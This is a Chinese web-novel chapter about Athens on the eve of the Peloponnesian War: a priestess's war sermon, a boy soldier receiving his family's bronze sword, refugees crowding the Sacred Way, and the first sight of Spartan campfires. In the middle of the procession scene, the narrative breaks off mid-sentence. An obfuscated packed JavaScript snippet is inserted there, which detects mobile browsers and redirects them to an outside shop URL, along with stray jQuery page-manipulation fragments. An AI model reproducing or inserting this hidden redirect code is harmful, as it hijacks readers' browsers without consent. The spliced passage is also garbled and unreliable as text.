（公元前431年春，雅典，阿瑟雅11岁，莱山德13岁）


    ---


    风暴前缘


    时光在苦难与压抑的训练中流过两年。


    那道针对麦加拉的禁运令，如同一剂缓慢发作的剧毒，早已从一道冷酷的政治决策，腐蚀成烂在每个雅典人心头的疮疤。


    麦加拉，这个位于雅典和斯巴达盟友科林斯之间的小城邦，本是雅典的盟友，后来背叛雅典投靠了斯巴达领导的伯罗奔尼撒同盟。作为报复和惩戒，雅典利用其强大的海军颁布了“麦加拉法令”，禁止麦加拉商船进入雅典及其盟邦的港口。这条法令如同勒紧了麦加拉的经济脖颈，使其民生凋敝。对斯巴达而言，麦加拉是其北进的战略门户，保护麦加拉不仅是同盟义务，更是维护自身霸权和威望的关键。因此，“麦加拉法令”成了点燃伯罗奔尼撒战争的导火索之一。


    难民潮从未彻底断绝，带来的除了濒死的躯体，还有更加绝望的故事。这一切都为即将到来的、名为“伯罗奔尼撒战争”的风暴，铺上了一层更加阴森可怖的底色。


    ---


    这日清晨，卫城的风带着反常的燥热。阿瑟雅在进行晨间祷告时，能清晰地听到自己过快的心跳。玛尔珀祭司站在女神的祭坛前，声音比平日更加高亢，近乎一种尖锐的宣告：


    「雅典的儿女们！抬起你们的头，睁开你们的眼睛！」玛尔珀张开双臂，宽大的祭司袍袖如同黑色的翅膀，「斯巴达的使者，那些满身尘土、头脑僵硬的乡巴佬，昨日竟敢站在我们神圣的公民大会上，对我们发号施令！」


    下方肃立的高阶祭司与见习生中，一阵压抑的骚动如电流般传过。


    玛尔珀的声音陡然转厉，如同刀锋刮过石面：「他们要求我们解除对叛徒麦加拉的禁令！他们要我们亲手解开套在那条毒蛇脖子上的绳索，让它再次有机会噬咬我们！」


    一个年轻的见习生忍不住低声惊呼，立刻被身旁的高阶祭司严厉地瞪了一眼。


    阿瑟雅垂着眼，努力让自己的呼吸平稳。解除禁令？她几乎能想像那些麦加拉难民听到这个词时，眼中可能迸发出的、微弱如星火般的希望。


    「但是！」玛尔珀的声音再次拔高，充满了戏剧性的狂热，「我们伟大的执政官伯里克利跟智慧的祭司长克莱托斯，以何等雷霆般的声音回应了他们！」她模仿着演说家的姿态，手臂猛地一挥：「『雅典人生来就是自由的！我们绝不接受任何城邦，尤其是斯巴达的指令！麦加拉背叛了誓言，就必须承受背叛的代价！』」


    人群中的骚动变成了低沉的嗡鸣，混合著恐惧与被煽动起来的愤怒。


    玛尔珀环视众人，目光最后若有似无地扫过阿瑟雅：「斯巴达人将我们的正义视为软弱！他们选择了战争！那么，就让战争来吧！这是诸神的意志，是雅典证明其伟大的熔炉！软弱者将被剔除，真正的黄金将在战火中闪耀！恐惧是软弱，怜悯是亵渎！在这神圣的时刻，我们必须摒弃凡俗的情感，与城邦融为一体！」


    “战争”这个词，终于被赤裸裸地抛了出来，像一块巨石砸进死水。阿瑟雅感到一阵寒意从脊椎窜上。她想起昨夜偷偷听到两位高阶祭司的低语：“……阿提卡乡下的农民正在疯狂涌入长城……”


    阿提卡是雅典城邦所在的半岛地区，遍布着农田、橄榄园和村庄。雅典的城市核心是卫城及周边的城区，并通过“长墙”与外港比雷埃夫斯相连，形成一个易守难攻的堡垒。然而，长墙之外的阿提卡乡村在战争中极易受到斯巴达陆军的蹂躏。因此，伯里克利的战略是：放弃乡野，将所有人力收缩到长墙之内，依靠强大的海军维持补给和攻击斯巴达及其盟邦。


    祷告一结束，她随着人流走出神庙，迫不及待地望向北方，越过卫城巨墙。景象证实了最坏的猜想——远方通往雅典的道路上，烟尘滚滚，如同数条垂死的巨蟒在痛苦地蠕动。那是比禁运令时期规模庞大无数倍的难民潮。这一次，不是来自盟邦麦加拉，而是来自雅典自己的阿提卡乡村。斯巴达人，真的要来了。


    ---


    军营阶级与沉默的授剑


    与卫城遥相对望的，是雅典城外吕凯斯军营的肃杀景象。这里没有神庙的香火，只有金属的冰冷、皮革的腥膻和汗水的酸臭。


    十三岁的莱山德，穿着沾满尘土的训练短衣，正和队友一起将沉重的军粮麻包搬运到指定仓库。他的手臂肌肉贲张，汗水沿着他愈发硬朗的脸部线条滑落。


    「动作快点，小子们！」一个粗鲁的百夫长走过，用木棍敲打着旁边的柱子，「斯巴达的野猪可不会等你们慢吞吞地搬完麦子！」


    莱山德沉默地加快动作。他所在的少年训练队，已被正式编入“青年预备队”，负责军营杂役和次要城墙的巡逻。空气中弥漫着前所未有的紧绷。


    「喂，莱山德，」同队的菲洛斯，一个面包师的儿子，凑近低声说，脸上带着兴奋与恐惧交织的神情，「听说没？斯巴达国王阿基达摩斯亲自率军，已经过了地峡了！他们说他发了誓，要把我们的橄榄树全都砍倒烧光！」


    另一个叫德米特的男孩咽了口口水：「我叔叔从埃莱夫西纳逃回来，说看到他们的军队了，密密麻麻的长矛，像…像移动的森林…」


    「闭嘴，德米特！」一个严厉的声音喝道。是他们小队的临时队长，一个十八岁的青年公民，「动摇军心者，按律鞭笞！做好你们的事！」


    队伍立刻安静下来，只剩下沉重的喘息和脚步声。阶级在这里泾渭分明。莱山德属于公民阶层，未来的光荣战士，但此刻，在这些成年士兵眼中，他们只是需要被严加管束的“菜鸟”。


    「莱山德！卡里克斯百夫长命令你立刻去他的营帐！」传令兵的声音打破了沉默。


    莱山德心头一紧。在等级森严的军营里，被百夫长——尤其是自己那位以严苛著称的父亲——单独召见，通常意味着特殊任务或…严厉的惩戒。他放下麻包，抹了把汗，在同伴们复杂的目光中，快步穿过喧闹的营区。


    他在营帐外停下，深吸一口气，高声报告：「列兵莱山德，奉命报到！」


    「进来。」里面传来卡里克斯低沉而毫无感情的声音。


    莱山德掀开帐帘走进去。营帐内，他的父亲，卡里克斯，正背对着他，擦拭着他那柄闪亮的青铜长矛。即使是在休息状态，他的背影依然挺直如矛。


    「把门帘放下。」卡里克斯没有回头。


    莱山德照做了。帐内的光线暗了下来。


    卡里克斯终于转过身。他年近四十，岁月和战火在他脸上刻下了坚硬的线条，那双眼睛看过来时，像两块冰冷的燧石。他没有立刻说话，只是用那双眼睛上下打量着莱山德，从他沾满泥土的脚踝，到他汗湿的头发。


    这种沉默的审视，比任何呵斥都更让莱山德感到压力。他挺直脊背，努力让自己看起来符合一个雅典士兵的标准。


    「麦加拉的惨状，你见过。」卡里克斯终于开口，声音平稳，却带着金属撞击般的质感，「你甚至为那些敌人流过软弱的眼泪。我当时没有责罚你，因为那时你还是个孩子。」


    莱山德心头一紧，沉默不语。


    「但现在，」卡里克斯的声音陡然转冷，如同北风刮过，「软弱的时间结束了。斯巴达的猪猡们，以为我们在麦加拉事件上展现的是软弱。他们错了！那展现的是雅典的意志！不容置疑、不容反抗的意志！现在，他们想用武力迫使我们屈服。告诉我，列兵莱山德，雅典的男人应该如何回应？」


    莱山德感到喉咙发干，他迎着父亲的目光，艰难地吐出被教导的话语：「……用…用剑与矛回应，百夫长。」


    「大声点！我听不见一个懦夫的声音！」


    「用剑与矛回应！百夫长！」莱山德几乎是吼了出来，声音因激动而嘶哑。


    卡里克斯紧盯着他，似乎在判断他话语里的决心。片刻后，他走向桌子，从桌子底下拿出一个长条形的、被油布仔细包裹的物件。他猛地掀开油布，动作带着一种近乎仪式化的庄重。


    一把青铜短剑静静地躺在深色的布料上。剑身线条流畅，保养得极好，泛着幽冷的光泽。剑格处雕刻的家族螺旋纹饰，在昏暗的光线下依然清晰。


    「这把剑，」卡里克斯的声音低沉下来，却更加沉重，他伸出手，轻轻抚过剑身，如同抚摸情人的脸颊，「你的曾祖父持着它，在萨拉米斯的海船上，与波斯巨舰搏杀。你的祖父，用它在那场光荣的马拉松战场上，亲手割开了三个波斯贵族的喉咙。现在，我把它交给你。」


    他双手捧起短剑，递到莱山德面前。那不是一个父亲给儿子的礼物，而是一位百夫长对一名士兵的授予，一位家族领袖对继承者的托付。


    莱山德感到喉咙发紧。空气似乎都凝固了。他看着那柄剑，它不仅代表着荣耀和力量，更代表着杀戮、死亡和无法推卸的责任。他想起了星光洞穴里阿瑟雅的话，想起了麦加拉孩子空洞的眼神。内心的抗拒如同潮水般翻涌。


    「拿着！」卡里克斯的声音带着不容置疑的命令。


    莱山德浑身一颤，缓缓地、极其沉重地伸出双手，接过了短剑。冰冷的剑柄落入掌心的瞬间，一股难以形容的寒意顺着手臂直窜心脏。


    「玩乐结束了，儿子。」卡里克斯的目光如锁链般缚住他，「从此刻起，你不再仅仅是我的儿子，你是雅典的战士，是这把剑的持有者。你的生命、你的荣誉，都将与它融为一体。明天，你所在的预备队将负责西面长墙第三塔楼的夜间警戒。我要你擦亮眼睛，握紧它，像一个真正的雅典男人一样，守卫你的城邦。」


    真正的雅典男人。这几个字像烧红的烙铁，烫在他的灵魂上。


    「是，百夫长。」莱山德的声音干涩沙哑。他没有称呼“父亲”。


    卡里克斯似乎并不在意，他点了点头，最后看了一眼那柄剑，彷佛在与一位老友告别，然后挥了挥手：「去吧。记住，荣耀，或者死亡。」


    莱山德敬了一个标准的军礼，握紧了手中沈甸甸的传承，转身，步履有些僵硬地走出了营帐。


    外面的阳光刺得他眼睛发疼。他低头看着手中的青铜短剑，剑身上模糊地映出他自己那张年轻却写满挣扎的脸。


    ---


    葬礼上的游戏


    同一天下午，神殿组织见习生们进行一场为城邦祈福的巡游。队伍没有走向往常举行盛大节庆的泛雅典娜大道，而是穿过卫城山门，沿着那条贯穿雅典城心脏地带、通往主要广场的圣路缓缓前行。


    这条在节日里铺满鲜花、洒满阳光、洋溢着欢歌与献祭牲口香气的崇高之路，此刻已沦为一个巨大而混乱的难民营。


    道路两旁挤满了从阿提卡乡村逃来的人们。


    他们衣不蔽体，面黄肌瘦，眼神空洞地望着这群洁白整洁、如同从另一个世界走来的见习女祭司。


    空气中混杂着汗臭、尘土、排泄物的气味和一种名为绝望的气息。婴儿无力地啼哭，老人靠在残破的行李上奄奄一息。几个面带菜色的孩子，睁着大大的眼睛，好奇又畏惧地看着她们。


    阿瑟雅走在队伍中，感觉每一步都像踩在针尖上。祈福的颂歌卡在喉咙里，怎么也唱不出口。


    她看到一个妇人紧紧抱着一个毫无动静的襁褓，眼神呆滞；看到一个断了腿的男人靠墙坐着，伤口处苍蝇环绕。这景象，比麦加拉难民的惨状更具冲击力，因为这些，是雅典自己的人民。


    「女神啊，请保佑雅典……」领队的祭司高声吟唱。


    但祈福的颂歌声，在难民营的混乱与悲惨面前，显得如此苍白无力。


    伊莉丝在她身边，声音带着颤抖，低语道：「阿瑟雅……看那边……他们……他们好像几天没吃东西了……」


    阿瑟雅顺着她的目光看去，只见几个孩子围着一个破锅，里面只有一点清澈见底的汤水。


    就在这时，一阵与周围环境格格不入的、清脆的笑声传来。


    在路边一处稍微干净的空地上，几个年纪最小的见习生——她们或许是被刻意保护，对外界苦难感知最迟钝的一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646695|188022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    群——竟然在等待队伍间歇，玩起了追逐游戏。


    为首那个梳着羊角辫的女孩，捡起一根树枝当作长矛，模仿着大人们的语气，奶声奶气地大喊：「我是斯巴达王阿基达摩斯！雅典人，交出你们的粮食！」


    其他几个小女孩则尖叫着，笑着四散跑开，躲到路边的石柱后面，嘴里喊着：「快跑啊！斯巴达人来了！」「保护我们的果园！」


    她们玩得投入而快乐，小脸因为奔跑和兴奋而红扑扑的。在她们单纯的世界里，「斯巴达人来了」只是一场刺激的冒险，是打破枯燥仪式的有趣游戏。


    阿瑟雅和伊莉丝同时停下了脚步。


    伊莉丝的脸色瞬间变得苍白，她难以置信地看着那些嬉戏的幼小同伴，嘴唇微微颤抖，最终化为一声极轻的、带着哭腔的叹息：「她们……她们什么都不知道……她们以为这只是游戏……」


    阿瑟雅没有说话。她看着那些天真烂漫的身影，又看向周围那些在苦难中挣扎的难民。一些难民也注意到了这群玩耍的女童，他们的眼神复杂，有短暂的恍惚，有苦涩，最终归于更深的麻木。


    一个抱着婴儿的难民老妇，看着奔跑的小女孩，喃喃自语，声音沙哑得几乎听不见：「跑吧……跑吧……孩子……再过几天……想跑……也跑不动了……」


    这一刻，阿瑟雅清晰地感觉到，某种东西在她体内彻底碎裂了。那是对童年最后的一丝幻想，是对这个世界仍存有天真的最后一点信任。


    这些孩子的游戏，像一场在葬礼上上演的、无比残酷的默剧。她们脚下奔跑的土地，即将被敌人的铁蹄践踏；她们模仿的“敌人”，正带着毁灭的意志步步逼近；她们身后那些沉默的、绝望的难民，就是这场真实“游戏”的第一批祭品。


    真正的“斯巴达人来了”，没有胜负，只有生存与毁灭。没有游戏结束后的拥抱与欢笑，只有无尽的别离与死亡。


    一位高阶女祭司严厉的目光扫了过来，伊莉丝连忙拉着阿瑟雅跟上队伍。


    高阶女祭司：「阿瑟雅！伊莉丝！不许停留！跟上队伍！」


    祈福的巡游在诡异的气氛中继续，颂歌声再次响起，却彷佛被难民营的绝望与孩童游戏的笑声所吞噬，显得如此空洞和苍白。


    阿瑟雅最后看了一眼那些游戏的孩童，又看了一眼绝望的难民，将这幅撕裂的画面深深烙印在心底。


    ---


    夜幕下的两个世界


    夜幕降临，最后的宁静被彻底撕碎。


    雅典城内，万家灯火比以往任何时候都要密集，却驱不散浓得化不开的恐慌。


    在见习生的宿舍里，伊莉丝蜷缩在床铺上，低声啜泣。


    「伊莉丝？」阿瑟雅轻声唤道。


    「阿瑟雅，我害怕……」伊莉丝的声音断断续续，「他们说斯巴达人……会杀光我们……毁掉一切……我们该怎么办？」


    阿瑟雅走到她床边坐下，握住她冰凉的手。她自己也害怕，但她知道此刻需要安慰朋友。


    「我不知道，伊莉丝。」阿瑟雅诚实地说，声音尽量保持平静，「但玛尔珀祭司说，我们的长墙是坚固的，海军是强大的。我们……我们要相信雅典。」


    这话说出来，连她自己都觉得空洞。她脑海中浮现的是莱山德的身影。


    「莱山德……他现在一定在城墙上吧？」伊莉丝彷佛读懂了她的心思，担忧地问。


    「……嗯。」她下意识地将手伸到枕下，摸到了那个贴身藏着的、带着她体温的小物件——一枚刻着波浪纹的橄榄木符。


    木符的边缘已被摩挲得十分光滑，那些细密的波浪纹路，在她的指尖下彷佛流动起来。这是他送给她的信物，象征着庇护与平安。


    此刻，在这动荡不安的夜里，这枚小小的木符成了她与星光洞穴、与那个倔强少年之间唯一的、坚实的连结。她将它紧紧攥在手心，彷佛这样就能将自己微弱的力量，传递给远在冰冷城墙上的他。


    活着回来。


    她在心里无声地、一遍遍地祈愿。


    ---


    与此同时，在西面长墙第三塔楼上，火把的光芒在夜风中摇曳。


    莱山德穿着不合身的皮甲，腰间挂着那把沉重的祖传短剑，紧握着长矛，站在垛口旁。夜风带来远方旷野的气息，其中夹杂着一丝若有若无的、陌生的气味。


    「喂，小子，别那么紧张。」旁边一个年纪稍大的哨兵，嚼着干肉，含糊地说，「斯巴达人又不是三头六臂，他们也得睡觉。」


    莱山德没有放松，他的目光死死盯着南方那片吞噬一切的黑暗。


    「听说你父亲是卡里克斯百夫长？」哨兵又问。


    莱山德点了点头。


    「嘿，有个当官的父亲压力很大吧？尤其是这种时候。」哨兵似乎想活跃气氛，「不过别怕，跟着我们，守住墙，就是功劳。到时候，你也像你父亲一样，弄个百夫长当当……」


    他的话戛然而止。因为莱山德突然抬起手，指向远方：「看！那是什么？」


    在极远的、黑暗的地平线上，似乎有微弱的、规律的光点闪动了一下，像坠落的星星，但数量似乎……太多了点。


    老哨兵的脸色瞬间变了，他眯起眼睛，仔细看了片刻，嚼肉的动作停了下来，低声咒骂了一句：「赫拉克勒斯在上……是营火……是斯巴达人的前锋营地……他们……他们真的到了阿提卡了……」


    莱山德的心脏猛地一缩，呼吸骤停。他握紧了长矛，另一只手下意识地隔着衣服，紧紧攥住了胸前那个用狼牙碎屑做成的粗糙护身符。


    来了。


    他们来了。


    最后的宁静，如同脆弱的琉璃，在这一刻，被远方那连绵的、代表着毁灭的敌营火光，彻底击碎。孩子们的游戏、少女的祈祷、少年的挣扎，所有个体的微小情感，都被卷入即将来临的、席卷整个希腊世界的钢铁风暴之中。


    时代的巨轮，带着无情的轰鸣，碾压而至。


    （第36章完）


    ---